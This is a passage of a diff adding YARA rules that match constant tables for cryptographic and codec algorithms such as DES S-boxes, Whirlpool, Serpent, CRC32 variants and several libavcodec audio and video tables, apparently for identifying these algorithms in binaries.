+	$a0 = { 517d7f3ff3737e3f02657d3f30507c3f27357b3f8b137a3ff3ea783fefba773f0183763f9e42753f29f9733ff3a5723f3748713f13df6f3f87696e3f6be66c3f67546b3fe9b1693f12fd673fa633663fed52643f8a57623f3e3d603f92fe5d3f40945b3f47f4583f3310563fc5d1523f6e134f3fb38b4a3f327c443ff304353f351a243f878f1c3f8784163f603a113f17670c3f93e4073ffd9b033f72fcfe3e1201f73eb035ef3e888de73e0ffedf3e387ed83eeb05d13ea48dc93e220ec23e2480ba3e25dcb23e0f1aab3eea30a33e6c169b3e60be923ed4198a3ecc15813e62326f3e7b025b3ea735453e0f292d3e03b9113e48d0e03df844813d }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Chinese_AVS_video__AVS1_P2__JiZhun__chroma_2dvlc__8_byt_1080_
+{
+strings:
+	$a0 = { 010101ff0101010201ff0201010301ff0301010401ff0401010501ff0501010601ff0601010701ff0701020102fe0102010801ff0801010901ff0901010a01ff0a01010b01ff0b01010c01ff0c01010d01ff0d01010e01ff0e01010f01ff0f01030103fd0103011001ff1001011101ff1101011201ff1201011301ff1301011401ff1401011501ff1501011601ff1601020202fe0202011701ff1701011801ff1801011901ff1901040103fc01030000000005030202020202020202020202020202020202020202020202ff020000000000000019000000000000010100ff0100010200ff0200020101fe0101010300ff0300010400ff0400010500ff0500010600ff0600030102fd0102010700ff0700010800ff0800020201fe0201010900ff0900010a00ff0a00010b00ff0b00040102fc0102010c00ff0c00010d00ff0d00010e00ff0e00020301fe0301010f00ff0f00020401fe0401050103fb0103030202fd0202011000ff1000011100ff1100011200ff1200020501fe0501011300ff1300011400ff1400000604030303020202020202020202020202020202ffffffffffff000000000100000014000000010100ff0100000000020100fe0100010200ff0200030101fd0101010300ff0300040101fc0101020200fe0200010400ff0400050102fb0102010500ff0500030201fd0201020300fe0300010600ff0600060102fa0102010700ff0700020400fe0400070102f90102010800ff0800040201fc0201010900ff0900030301fd0301020500fe0500020600fe0600080102f80102010a00ff0a00010b00ff0b00090102f70102050202fb0202030401fd0401000a06040403030202020202ffffffffffffffffffffffffffffff01000000020000000b000000000000010100ff0100020100fe0100030100fd0100040100fc0100010200ff0200050101fb0101020200fe0200060101fa0101010300ff0300070101f90101030200fd0200080101f80101010400ff0400020300fe0300090101f70101040200fc0200010500ff05000a0101f60101030300fd0300050201fb0201020400fe04000b0101f50101010600ff06000c0101f40101010700ff0700060201fa02010d0101f30101020500fe0500010800ff0800000e07040303020202ffffffffffffffffffffffffffffffffffff010000000400000008000000000000010100ff0100020100fe0100030100fd0100040100fc0100050100fb0100060100fa0100070100f90100080100f80100010200ff0200090100f701000a0100f601000b0100f50100020200fe02000c0100f401000d0100f30100030200fd02000e0100f20100010300ff03000f0100f10100040200fc0200100100f00100110100ef0100050200fb0200010400ff0400020300fe0300120100ee0100060200fa0200130100ed0100010500ff0500001407030202ffffffffffffffffffffffffffffffffffffffffff00000000ffffff7f05000000 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox2__32_lil_256_
+{
+strings:
+	$a0 = { 20801080008000800080000020801000000010002000000020001080208000802000008020801080008010800000008000800080000010002000000020001080008010002000100020800080000000000000008000800000208010000000108020001000200000800000000000801000208000000080108000001080208000000000000020801000200010800000100020800080000010800080108000800000000010800080008020000000208010802080100020000000008000000000008020800000008010800000100020000080200010002080008020000080200010000080100000000000008000802080000000000080200010802080108000801000 }
+
+condition:
+	$a0
+}
+
+	
+rule Serpent_crypto_FPTable__32_big_512_
+{
+strings:
+	$a0 = { 0000000000000004000000080000000c0000001000000014000000180000001c0000002000000024000000280000002c0000003000000034000000380000003c0000004000000044000000480000004c0000005000000054000000580000005c0000006000000064000000680000006c0000007000000074000000780000007c0000000100000005000000090000000d0000001100000015000000190000001d0000002100000025000000290000002d0000003100000035000000390000003d0000004100000045000000490000004d0000005100000055000000590000005d0000006100000065000000690000006d0000007100000075000000790000007d00000002000000060000000a0000000e00000012000000160000001a0000001e00000022000000260000002a0000002e00000032000000360000003a0000003e00000042000000460000004a0000004e00000052000000560000005a0000005e00000062000000660000006a0000006e00000072000000760000007a0000007e00000003000000070000000b0000000f00000013000000170000001b0000001f00000023000000270000002b0000002f00000033000000370000003b0000003f00000043000000470000004b0000004f00000053000000570000005b0000005f00000063000000670000006b0000006f00000073000000770000007b0000007f }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C2__64_lil_2048_
+{
+strings:
+	$a0 = { 78c018601818d830af05238c23232646f97ec63fc6c6b8916f13e887e8e8fbcda14c87268787cb1362a9b8dab8b8116d05080104010109026e424f214f4f0d9eeead36d836369b6c0459a6a2a6a6ff51bdded26fd2d20cb906fbf5f3f5f50ef780ef79f9797996f2ce5f6fa16f6f30deeffc917e91916d3f07aa52555252f8a4fd27609d606047c07689bccabcbc3565cdac9b569b9b372b8c048e028e8e8a011571a3b6a3a3d25b3c600c300c0c6c188aff7bf17b7b84f6e1b535d43535806a69e81d741d1df53a4753e0a7e0e0b3ddacf6d77bd7d721b3ed5ec22fc2c29c99966d2eb82e2e435c7a624b314b4b299621a3fedffefe5de1168257415757d5ae41a815541515bd2ab69f77c17777e8eeeba537dc3737926e567be5b3e5e59ed7d98c9f469f9f132317d3f0e7f0f023fd7f6a4a354a4a2094959eda4fdada44a925fa587d5858a2b0ca06c903c9c9cf8f8d5529a429297c5222500a280a0a5a144fe1b1feb1b1507f1a69a0baa0a0c95dda7f6bb16b6b14d6ab5c852e8585d9177381bdcebdbd3c6734d25d695d5d8fba508010401010902003f3f4f7f4f407f5c016cb0bcbcbdd8bc6ed3ef83e3ed37c1128051405052d0ae61f6781676778ce5373e4b7e4e497d5bb25279c2727024e58324119414173829d2c8b168b8ba70b0151a7a6a7a7f65394cf7de97d7db2fafbdc956e959549379f8ed847d8d856ad308bfbcbfbfb70eb7123ee9feeeecdc191c77ced7c7cbbf8e3176685666671cc8ea6dd53dddd7ba74bb8175c1717af2e460247014747458edc849e429e9e1a21c51eca0fcacad48999752db42d2d585a7991bfc6bfbf2e631b38071c07073f0e2301ad8eadadac472fea5a755a5ab0b4b56c83368383ef1bff8533cc3333b666f23f639163635cc60a100208020212043839aa92aaaa9349a8af71d97171dee2cf0ec807c8c8c68d7dc819641919d1327072493949493b929a86d943d9d95faf1dc3f2eff2f231f9484be3abe3e3a8db2ae25b715b5bb9b69234881a8888bc0dc8a49a529a9a3e29be2d269826260b4cfa8d32c83232bf644ae9b0fab0b0597d6a1be983e9e9f2cf33780f3c0f0f771ea6e6d573d5d533b7ba74803a8080f41d7c99bec2bebe2761de26cd13cdcdeb87e4bd34d034348968757a483d4848329024abffdbffff54e38ff77af57a7a8df4eaf4907a9090643d3ec25f615f5f9dbea01d208020203d40d56768bd68680fd072d01a681a1aca342c19ae82aeaeb7415ec9b4eab4b47d75199a544d5454cea8e5ec937693937f3baa0d228822222f44e907648d646463c812dbf1e3f1f12affa2bf73d17373cce65a901248121282245d3a401d40407a802840082008084810e856c32bc3c3959b7b33ec97ececdfc59096db4bdbdb4dab1f61a1bea1a1c05f831c8d0e8d8d9107c9f53df43d3dc87af1cc976697975b330000000000000000d436cf1bcfcff98387452bac2b2b6e56b39776c57676e1ecb06482328282e619a9fed67fd6d628b177d81b6c1b1bc3365bc1b5eeb5b574772911af86afafbe43df776ab56a6a1dd40dba505d5050eaa04c1245094545578a18cbf3ebf3f338fbf09d30c03030ad60742bef9befefc4c3c3e53ffc3f3fda7e1c9255495555c7aa1079a2b2a2a2db596503ea8feaeae9c9ec0f658965656aca68b9bad2baba036993652fbc2f2f4a5ee74ec027c0c08e9d81bede5fdede60a16ce01c701c1cfc382ebbfdd3fdfd46e764524d294d4d1f9ae0e4927292927639bc8f75c97575faea1e3006180606360c98248a128a8aae0940f9b2f2b2b24b795963e6bfe6e685d136700e380e0e7e1c63f81f7c1f1fe73ef7376295626255c4a3eed477d4d43ab53229a89aa8a8814df4c49662969652313a9bf9c3f9f962eff666c533c5c5a397b13525942525104a20f259795959abb2ae54842a8484d015a7b772d57272c5e4ddd539e43939ec72615a4c2d4c4c16983bca5e655e5e94bc85e778fd78789ff0d8dd38e03838e57086148c0a8c8c9805b2c6d163d1d117bf0b41a5aea5a5e4574d43e2afe2e2a1d9f82f619961614ec245f1b3f6b3b3427ba515218421213442d6949c4a9c9c082566f01e781e1eee3c5222431143436186fc76c73bc7c7b1932bb3fcd7fcfc4fe5142004100404240808b251595151e3a2c7bc995e9999252fc44f6da96d6d22da39680d340d0d651a3583facffafa79e984b6df5bdfdf69a39bd77ee57e7ea9fcb43d249024241948d7c53bec3b3bfe763d31ab96abab9a4bd13ece1fcecef0815588114411119922890c8f068f8f83036b4a4e254e4e049c51d1b7e6b7b76673600beb8bebebe0cbccfd3cf03c3cc178bf7c813e8181fd1ffed4946a949440350cebf7fbf7f71cf367a1b9deb9b9186f5f98134c13138b269c7d2cb02c2c5158b8d6d36bd3d305bb5c6be7bbe7e78cd3cb576ea56e6e39dcf36ec437c4c4aa950f18030c03031b06138a56455656dcac491a440d44445e889edf7fe17f7fa0fe3721a99ea9a9884f824d2aa82a2a67546db1bbd6bbbb0a6be246c123c1c1879f02a253515353f1a68baedc57dcdc72a527580b2c0b0b5316d39c9d4e9d9d0127c1476cad6c6c2bd8f59531c43131a462b98774cd7474f3e809e3f6fff6f615f1430a460546464c8c2609ac8aacaca545973c891e8989b50f44a014501414b428425be1a3e1e1badf4eb016581616a62cd2cd3ae83a3af774d06f69b9696906d22d48092409094112ada770dd7070d7e054d9b6e2b6b66f71b7ced067d0d01ebd7e3bed93ededd6c7db2ecc17cccce285572a421542426884c2b4985a98982c2d0e49a4aaa4a4ed55885d28a02828755031da5c6d5c5c86b83f93f8c7f8f86beda44486228686c211 }
+	$a1 = { c0781828181878d805af23652323af267ef9c657c6c6f9b8136fe825e8e86ffb4ca187948787a1cba962b8d5b8b862110805010301010509426e4fd14f4f6e0dadee365a3636ee9b5904a6f7a6a604ffdebdd26bd2d2bd0cfb06f502f5f5060eef80798b797980965fce6fb16f6fce30fcef91ae9191ef6daa0752f6525207f827fd60a06060fd478976bcd9bcbc7635accd9bb09b9bcd37048c8e8f8e8e8c8a7115a3f8a3a315d2603c0c140c0c3c6cff8a7b8d7b7b8a84b5e1355f3535e180e8691d271d1d69f55347e03de0e047b3f6acd764d7d7ac215eedc25bc2c2ed9c6d962e722e2e9643627a4bdd4b4b7a29a321fe1ffefe215d821657f9575716d5a841153f151541bd9fb677997777b6e8a5eb37593737eb927b56e532e5e5569e8cd99fbc9f9fd913d317f00df0f017236a7f4ade4a4a7f209e95da73dada9544fa2558e8585825a206cac946c9c9cacf558d297b29298d7c50220a1e0a0a225ae14fb1ceb1b14f50691aa0fda0a01ac97fda6bbd6b6bda145cab85928585abd98173bddabdbd733cd2345de75d5d348f8050103010105090f303f401f4f4030716c0cb40cbcbc0ddedc63e423e3ec6d32811050f0505112d1fe667a96767e6787353e431e4e4539725bb27692727bb02325841c3414158732c9d8b808b8b9da75101a7f4a7a701f6cf947d877d7d94b2dcfb95a29595fb498e9fd875d8d89f568b30fb10fbfb30702371ee2feeee71cdc7917c847c7c91bb17e366aa6666e371a68edd7adddd8e7bb84b173917174baf024647c94747464584dc9ebf9e9edc1a1ec5ca43cacac5d475992d772d2d99589179bfdcbfbf792e381b070907071b3f0123adeaadad23acea2f5aee5a5a2fb06cb583988383b5ef85ff33553333ffb63ff263a56363f25c100a020602020a123938aae3aaaa3893afa871937171a8de0ecfc845c8c8cfc6c87d192b19197dd1727049db4949703b869ad976d9d99a5fc31df20bf2f21d314b48e338e3e348a8e22a5bed5b5b2ab934928885888892bca4c89ab39a9ac83e2dbe266a2626be0b8dfa32563232fabfe94ab0cdb0b04a591b6ae926e9e96af278330f110f0f3377e6a6d562d5d5a63374ba809d8080baf4997cbedfbebe7c2726decd4acdcddeebbde4345c3434e4897a7548d848487532ab24ff1cffff2454f78f7a8e7a7a8f8df4ea90ad9090ea64c23e5fe15f5f3e9d1da020602020a03d67d568b86868d50fd0721a2e1a1a72ca192caeefaeae2cb7c95eb4c1b4b45e7d9a1954fc545419ceece593a89393e57f0daa22662222aa2f07e964ac6464e963db12f10ef1f1122abfa273957373a2cc905a123612125a823a5d40c040405d7a402808180808284856e8c358c3c3e895337bec29ecec7bdf9690db70dbdb904d611fa1fea1a11fc01c838d8a8d8d8391f5c93d473d3dc9c8ccf197a49797f15b000000000000000036d4cf4ccfcfd4f945872b7d2b2b876e97b3769a7676b3e164b0829b8282b0e6fea9d667d6d6a928d8771b2d1b1b77c3c15bb5c2b5b55b741129afecafaf29be77df6abe6a6adf1dba0d50f050500dea124c45cf45454c57cb18f308f3f318389df030503030f0ad2b74ef2cefef74c4e5c33f413f3fc3da921c55ff55551cc77910a2fba2a210db0365ea23eaea65e90fec65af6565ec6ab968bad3baba680365932f712f2f934a4ee7c05dc0c0e78ebe81de7fdede8160e06c1c241c1c6cfcbb2efd1afdfd2e4652644dd74d4d641fe4e092ab9292e0768fbc759f7575bcfa301e060a06061e3624988a838a8a98aef940b2cbb2b2404b6359e637e6e6598570360e120e0e367ef8631f211f1f63e737f762a66262f755eea3d461d4d4a33a2932a8e5a8a83281c4f496a79696f4529b3af916f9f93a6266f6c552c5c5f6a335b1256f2525b110f22059eb595920ab54ae84918484aed0b7a772967272a7c5d5dd394b3939ddec5a614cd44c4c6116ca3b5ee25e5e3b94e78578887878859fddd838483838d8e514868c898c8c8698c6b2d16ed1d1b217410ba5f2a5a50be4434de23be2e24da12ff861a36161f84ef145b3c8b3b3454215a521632121a53494d69cb99c9cd608f0661e221e1e66ee225243c54343526176fcc754c7c7fcb1b32bfc19fcfc2b4f2014040c04041424b20851f3515108e3bcc799b69999c7254fc46db76d6dc42268390d170d0d39658335fa13fafa3579b684df7cdfdf8469d79b7e827e7e9ba93db4246c2424b419c5d73b4d3b3bd7fe313dabe0abab3d9a3ed1ce4fceced1f088551133111155990c898f8c8f8f89834a6b4ed24e4e6b04d151b7c4b7b751660b60eb20ebeb60e0fdcc3c443c3cccc17cbf819e8181bffdd4fe94a19494fe40eb0cf704f7f70c1ca167b9d6b9b96718985f133513135f8b7d9c2c742c2c9c51d6b8d368d3d3b8056b5ce734e7e75c8c57cb6eb26e6ecb396ef3c451c4c4f3aa180f030503030f1b8a1356fa565613dc1a4944cc4444495edf9e7f817f7f9ea02137a9e6a9a937884d822a7e2a2a8267b16dbbd0bbbb6d0a46e2c15ec1c1e287a20253f5535302f1ae8bdc79dcdc8b7258270b1d0b0b27539cd39dba9d9dd30147c16cb46c6cc12b95f531533131f5a487b9749c7474b9f3e309f607f6f609150a4346ca4646434c0926ace9acac26a53c978986898997b5a044143c141444b45b42e13ee1e142bab04e163a16164ea6cdd23a4e3a3ad2f76fd069bb6969d006482d091b09092d41a7ad70907070add7d954b6c7b6b6546fceb7d06dd0d0b71e3b7eed2aeded7ed62edbcc49ccccdbe22a5742c642425768b4c298b59898c22c490ea4f1a4a40eed5d88287828288875da315ce45c5c3186933ff815f8f83f6b44a486978686a4c2 }
+
+condition:
+	$a0 and $a1
+}
+
+	
+rule classical_random_incrementer_0x343FD_0x269EC3__32_big_AND_
+{
+strings:
+	$a0 = { 000343fd[0-20]00269ec3 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_synth__flt64___64_big_840_
+{
+strings:
+	$a0 = { 3fe343c0002d18df3fe3677fffd0c15f3fe38b3ffffdda3f3fe3af3fffdb7e273fe3d3c0002d18df3fe3f880002f3ea13fe41d40003164623fe44280001e10953fe467ffffbb47d03fe48d7fffe1ef6b3fe4b37ffff31d773fe4d9c0003e46eb3fe500400039fb683fe52740002036563fe54e40000671443fe575800026a79b3fe59d40003164623fe5c53fffecac333fe5ed7fffe1ef6b3fe6160000112e0c3fe63ebffff0f7b63fe667c0000abcc73fe69140000f084a3fe6baffffc3ded63fe6e500003c212a3fe70f3fffdb7e273fe739ffffeed1f43fe764c0000225c13fe79000000000003fe7bb800037d5a73fe7e77fffd0c15f3fe8137ffff31d773fe84000000000003fe86cfffff768fa3fe899ffffeed1f43fe8c77fffd0c15f3fe8f53fffecac333fe9237ffff31d773fe951bffff98ebc3fe9807fffea86713fe9afbfffc604983fe9df3fffdb7e273fea0f00002af31e3fea3f3fffdb7e273fea6fbfffc604983feaa07fffea86713fead1bffff98ebc3feb03400042926e3feb353fffecac333feb677fffd0c15f3feb99ffffeed1f43febccfffff768fa3fec007fffea86713fec344000179f503fec683ffff543393fec9cbfffbd6d923fecd1bffff98ebc3fed06ffffe63aee3fed3c80000ce2893fed7280001e10953feda9000019c5123feddfbfffc604983fee16ffffe63aee3fee4e8000406cad3fee867ffffbb47d3feebf00002af31e3feef7c0000abcc73fef30ffffd50ce23fef6ac0001353cd3fefa4c0000225c13fefd5bfffd732a43feff44000179f503fefffbfffc604983feff8bfffdfc9aa3fefdf3fffdb7e273fefb300000897063fef73ffffdda3e83fef2300000897063feebf800015798f3fee49ffffeed1f43fedc300000897063fed2a7fffd958653fec80ffffd50ce23febc6ffffe63aee3feafc80000ce2893fea223fffe4152d3fe939000019c5123fe840c0002481d93fe73a7fffd958653fe6267ffffbb47d3fe505800026a79b3fe3d880002f3ea13fe29fbfffc604983fe15c0000225c183fe00e40000671443fdd6dffffcc75dc3fdaae8000406cad3fd7df7fff8c09303fd50280001e10953fd219000019c5123fce4affff3a6e773fc85100005e7d413fc248ffff9054b33fb86e0000df569b3fa8740002036565 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale4__flt64___64_big_120_
+{
+strings:
+	$a0 = { 3fefba42600000023fef24db1ffffffe3fee7f251ffffffd3fedc3a75ffffffe3fece916bfffffff3febdd27200000033fea7012000000033fe6a09e5ffffffc3fe2076b200000043fdf788c9ffffffd3fdb6f9a000000063fd7808e800000003fd362cd7ffffff93fcd688b000000103fc0aaa700000001 }
+
+condition:
+	$a0
+}
+
+	
+rule swscale_rgb2yuv_table__flt32___32_big_288_
+{
+strings:
+	$a0 = { 3f3717593d93dd983e59b3d0bec5a1cb3f000000bdeb851fbee872b0bd3c6a7f3f0000003f3717593d93dd983e59b3d0bec5a1cb3f000000bdeb851fbee872b0bd3c6a7f3f0000003f1645a23de978d53e991687bea978d53f000000be2d0e56bed6872bbda5e3543f0000003f1645a23de978d53e991687bea978d53f000000be2d0e56bed6872bbda5e3543f0000003f170a3d3de147ae3e99999abea978d53f000000be2d0e56bed78d50bda1cac13f0000003f1645a23de978d53e991687bea978d53f000000be2d0e56bed6872bbda5e3543f0000003f1645a23de978d53e991687bea978d53f000000be2d0e56bed6872bbda5e3543f0000003f3374bc3db22d0e3e591687bec49ba63f000000bded9168bee3d70abd6147ae3f000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xa00ae278__32_big_refl_False_
+{
+strings:
+	$a0 = { 00000000a00ae278e01f26884015c4f06034af68c03e4d10802b89e020216b98c0695ed06063bca820767858807c9a20a05df1b8005713c04042d730e048354820d85fd880d2bda0c0c7795060cd9b2840ecf0b0e0e612c8a0f3d63800f93440e0b1010840bbe37000ae2780a0a4c5f88085ae60208f4c18609a88e8c0906a9041b0bfb0e1ba5dc8a1af993801a57b40218410d8818ef2a0c19b36506191d42881d9e16021d3031861c6c7e8c1cc2590e1ed4e0841e7ac7001f26880a1f88af86168e068c16202108177c6e0217d2498015c4f00a156ad78e143698841498bf0a101beb8010b5cc0411e9830e1147a48c13511d0613ff3a8212a37588120d52083617f60236b9d18637e59e8c374bb90e355d008435f3270034af680a34014f8430821b0e302c3c8a3170738031de540233c8ed883366ca0c323a85063294a28a3b920b803b3c2c043a60630e3ace448c38d8fd063876da82392a95883984b2063d07e68c3da9c1083cf58e023c5ba9803e4d100a3ee3378e3fbf78843f115f0c2d1c0d062db22a822cee65882c40420a2e56fb802ef8dc042fa4930e2f0ab4802b89e00a2b27c78e2a7b88842ad5af0628c3168c286d310829317e02299f598e2099f0842037d700216b980a21c5bf8823d30602237d218622216e8c228f4902260c1d8826a23a0c27fe7506275052842546eb0e25e8cc8a24b48380241aa40a6c81cb806c2fec046d73a30e6ddd848c6fcb3d066f651a826e3955886e9772066a14268c6aba01086be64e026b486980695ed00a69f0f78e68acb88468029f086104360261aa118660f65e8c6058790e624ec08462e0e70063bca80a63128f846791db0e673ffc8a6663b38066cd940264db2d8864750a0c652945066587628e778a3084772417007678580a76d67f8874c0c602746ee1867532ae8c759c8902711fdd8871b1fa0c70edb5067043928472552b0e72fb0c8a73a743807309640c7a0fcd067aa1ea827bfda5887b53820a79453b8079eb1c0478b7530e781974807c9a200a7c34078e7d6848847dc66f067fd0d68c7f7ef1087e22be027e8c99825a963d885a381a0c5b6455065bca728459dccb0e5972ec8a582ea3805880840e5c03d0845cadf7005df1b80a5d5f9f885f4926025fe701865ebb4e8c5e1569005713c00a57bde78e56e1a884564f8f065459368c54f7110855ab5e025505798c51862d0651280a825074458850da620a52ccdb805262fc04533eb30e53909486419dc68c4133e108406fae0240c1898042d7300a4279178e43255884438b7f0a47082b8047a60c0446fa430e4654648c4442dd0644ecfa8245b0b588451e92044c183b0e4cb61c8a4dea53804d4474024f52cd884ffcea0c4ea0a5064e0e82884a8dd6024a23f1864b7fbe8c4bd1990e49c72084496907004835480a489b6f8 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_gain_2nd_8k__16_big_64_
+{
+strings:
+	$a0 = { 14160250439307451810095b3ef00d40033a07d54a1d172f07ca00003c4a00ed294d0b963b1c13322d3104ac3772065e1f9b12fd3b3937c423a0020d33cc0cb8 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox6__32_lil_256_
+{
+strings:
+	$a0 = { 10000020000040200040000010404020000040201000000010404020000040000040002010404000000040001000002010004000004000200000002010400000000000001000400010400020004000000040400010400020100000001000402010004020000000001040400000404020104000000040400000404020000000200040002010000000100040200040400010404020000040001040000010000020000040000040002000000020104000001000002010404020004040000000402010404000004040200000000010004020100000000040000000004020104040000040000010004000104000200000000000404020000000201000400010400020 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_weights2__flt32___32_big_124_
+{
+strings:
+	$a0 = { 3b53fc973b654d213b828d4e3b01d6593a98a72b3aeafd643ab7fd073aaeaf553ac54b233affac9e3b35d8143b87e5a83bcdb4533c196b813c8c688e3cb78b1c3ce8a1093d28a0b83d41cef23d59c18d3d8885c63da4023e3daa4f293db06a033dca98173de5c78a3debfc223df4f7a93e0b71323e1e28243e2696e6 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x86d3d2d4__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000d4d2d3867c77748ba8a5a70d2c3c3b90f8eee816504b4f1b84999c9d8caaa5a658787620f0ddd12d240f02aba0969e3674444db0dce1eabd0833393bcc8798cb18554b4db0f0ec4064223fc6e0bba35b346970dd9cccd7d0481e0456402d3d6d94ffeeeb3c5a49e6e8889a606c1106fdb8c3d57b10667276c4b4a1f04cdde211980f319730aa969ae478451c60e1d981b4330a071c96ad0ac8447e8cc07747b714a59431bc00333c68d2e0baec4b7c273899afa1903c08ac44eedb2a805a7ada5488a95cfc2d0e5128ffddd7ac66414a78b492ccd01135c104c3e6470cf0df7cd8220cfa7087abf7a455787120cce4ecf41e376a5cbb9067886943e198bac5234c6816a5e4cdb1a8301f622eb486feb360542d35c8f18a381c2359be14106085c0c2b3036867140ebcb5c788382c5b15ecfe8893445b2f9e9089fc18543d5de880ef8e6e284a2963fc98fae578016678acd3b5fe047612f3d0a4c175d897f84e0c452bc8a4e08cc570325f43f4abc3de2079105888dcb7555c0e64d3d467273200b5f4b4a81053b97cc2803ff85b1ca22c89cf24842c682950febbaf58cd82948c1f511224baf61ff068259974f1b904a0236a820886cd8fdc541e0918e0bff9cc326c7f6497cb72b04518f434dc8469e00e57ef48abf0e29c792364944a1a5f4098c9d9e83d6ed43cefbd52b87621cf6ca4f249c401554410d386c230758b47e4a758c14c02ffcc98d02c4a1c49b0d7c89b6351603ec45cb4ec17dabcdf2ee1680dfd67c0a85a6a147a89ec90e315714431c6f7ec9461fa3846b27cfcf2138c2820c00a808567075457b481d0ce281c041cfb9aacb95c97786b8f117058b62aa48a65ac0c2fc2a1d8fd11275c648dba88b65e3c2013f931f4c12ab77ca86956a87abad000df1dddd40dce5b509452c6844681402ce3264df831f5cbf002ccf024d01f768c75b87b58a76bfddc3ef76008ec24e6a04983eb749b506db02ff19d64fd221bcc588516188a56909c13ca0d48c1198be064be8634b66d003c85543be85787bd40f220b09420f33610b96fabc46bbc2d6cce1b20b81cc8a6a8cf4e647c1d9de2d4b83aef006ae96984f375f45021a672f884017f2c56d2f92465ebc2f0b7384458129f498cc04ccf0859d052dc8b03d4742ea4d9a0fc775f6448d6afb09a0529183fa224cced71a24874ed3f9ca63eb9340399b4e0d14a32e8e273093c30a08f949507824047d404c4de4899100c9b1fb8a93c126c7bef94e412ac7530c07ff39865d8fe4cb70b78c82e97e51cfc4463b459e36e608b30e868b809d3bc6ada5514cf7d58c01daede448432439056e1c538f346c8ec21954e289534befc47e73854e24035803093b304a90f2ed07bdca878de7ba5ac0ca823a43f911870ed429ed848e5930c9a36158803aa885cd1790ef474de0320a60d85 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_8_ATM_poly_0xe0__8_byt_refl_True_
+{
+strings:
+	$a0 = { 00010203040506070706050403020100010003020504070606070405020300010203000106070405050407060100030203020100070605040405060700010203040506070001020303020100070605040504070601000302020300010607040506070405020300010100030205040706070605040302010000010203040506070706050403020100000102030405060706070405020300010100030205040706050407060100030202030001060704050405060700010203030201000706050403020100070605040405060700010203020300010607040505040706010003020100030205040706060704050203000100010203040506070706050403020100 }
+
+condition:
+	$a0
+}
+
+	
+rule MS_ADPCM_AdaptationTable__16_lil_32_
+{
+strings:
+	$a0 = { e600e600e600e600330199010002660200036602000299013301e600e600e600 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_vq_hebap5__16_lil_1536_
+{
+strings:
+	$a0 = { BEF2EEB2930B76253412D94CCFC2FBE60745140FD8DF1BB473119C012FBA9BE0B30265BCFC0D3B09E61AB30EEB18D6AFB2BCCBC88CFA7DA2B52007CF77E023ACEAC28E0CA91FB3E8F71031147B0A4ABEE6EB52BFCC1854D6C332649CB6A9FB0FC0F452DFB0E8FABCB2F55C5A19EC37C89DA8ED54690E910B75F6B5BA4362930A3A06070035B83223AE10DB0256FE80FD71A39C600A166402CCFE3CFC01FDF404E1006306AD0094034F155D1926134029015A0CBD4343C2ADE4B64813A4F21D0D92FA803C46AAEDC63B051E022EE532F7DAD0FDF3F3B172AFF5F8FF2D3F05D522B502B15F96ABF6244912262479E1203E49EA36F42FDCBDFAEDA7443292FED41341F9CB4FE5FE95F4A2F857E755FCDFF789FAB90DA7F3E7FD2DEC042CC44BDD032909391089164FEFE90071FE7AAA8EFBA6BF0E17701575F317270ECF8D49C4517AFBFE0673FB961351FB0F191EDFD2AD640732F2E70E2AE92B40404F98F595D2CDEF79B84AA7003A6843B328541E082F0C4ADD0955AC03B76FD5101175E4BB11DAF902088016B4606F3E0E45E6FDADA63B2B3D2881011002EFDE2FF41BC03BA56B40460ED0163F02722E9B074562FD19E11944F254F80A0F7AFE8CFF5546A451F3373BE256D51A2E07ED8CF4EACB79E17654DB08BDFD29DB14FDB7AC4F30492083DF5F0549BA690B66231E56DE47BB2121FA8EF689B872C655F4193BFDF21C573636B9CAF216AEB5E33C562CFEAEB3072D06D5E440AC970941009E0103028CEE67FDC0ED7D00EAB4F753B3B0B0F87AF82DFF02FC451426D011F902A43EEEB516410145E736393F1B13F963030ACA6C0CF71EBC01604C4A0CFCE5DC2F4CF8004428A164CD17FD1438ADFBBE5C61DA58B86C471BE195E2AE4A291E8DCE8607FD3AD0CD69087F544807AEF7785BA04213C3F8F957007A20D0D1F53891AFD31ECDF7904C1E5968BC08F81D01E9F0EADF6EB8E42950CA63CB7EF90F381013BEB1C40383EF4CFFEA9F05BF0C4D2517A9123E1141F6C55BF3C0660BF2FB26F81E4A14F61F347D05CEE790FBB90966356E5871E37FFF18F576C98741E459D802450DA200DE0BE10346222FAA2FE68E0364CF8EA8BEF551EB404C902689F89EB8B6B78EC59812CF1B6A205EF41E65EC1D27E1FC03F417173B4549CEA07FE61DE6F41E5D2F0DDB66A27E15A90360BD03EBDA09470169047AFE9E3DF34D74D7A42BDDF3053A80D165E0F8B9F1A8ABBC6DE5C2CD84F793E62717AA30ADA80FFE42010E040DE6E4EA574F3B0438A6D2DE622F06FD3F0ACB13004D93F8E2FFBBFE5500DB033AE97410BADCA123329E44E1741CFCCF7232A8ABCD51A2F9F2E175F7B3DE1CEA949DF4E58401F9A7F6057A23C10045E1DCA82B146A01B003FDFEF00EB6D1A71D78A5FE62DB5CF8D61B1089ADB552A757BAFC8DED2355281886FF6A0633FDB85FAF4D05F8DA030700C9FF4F9579FF85090301590033017E5FDFF0F1EACCFCADF6690199159816FA48F20078AA5DF020578311D2022ED0921D583CE121C10BD54F745294ADF8F394FB910ADFF82C15EFFC6448244233CB83BFF6C599B073C8AB086405E25398FB470153007FF70D54F0F09CC834FF71F7B9032EDB023E2AD661F326525BFE9FFA8002D1DF10AE7E08D510524874DC71B862C3780EC9E8C1013DDF33043EA980EC890BF4316D479605593AE3549FF491017DED77B1A30685FB790D79149522765685E2AB0596F78821C84602C3774B99E8AD0D190B0917FD18B621EA59A3098C0B7B014716E1A973F7BDBDAEFD864951EB68060603500B70FA020E0CF7C64DE2F871B7E3524FC9E3CE52407B0232F88EB471BFB02F40BF52E136DAF40373AB430B58CE110913FCD701D3F16D1FB1D4BD632D1020AC8FF5F40269FDF5FD5A195321594B054ACC17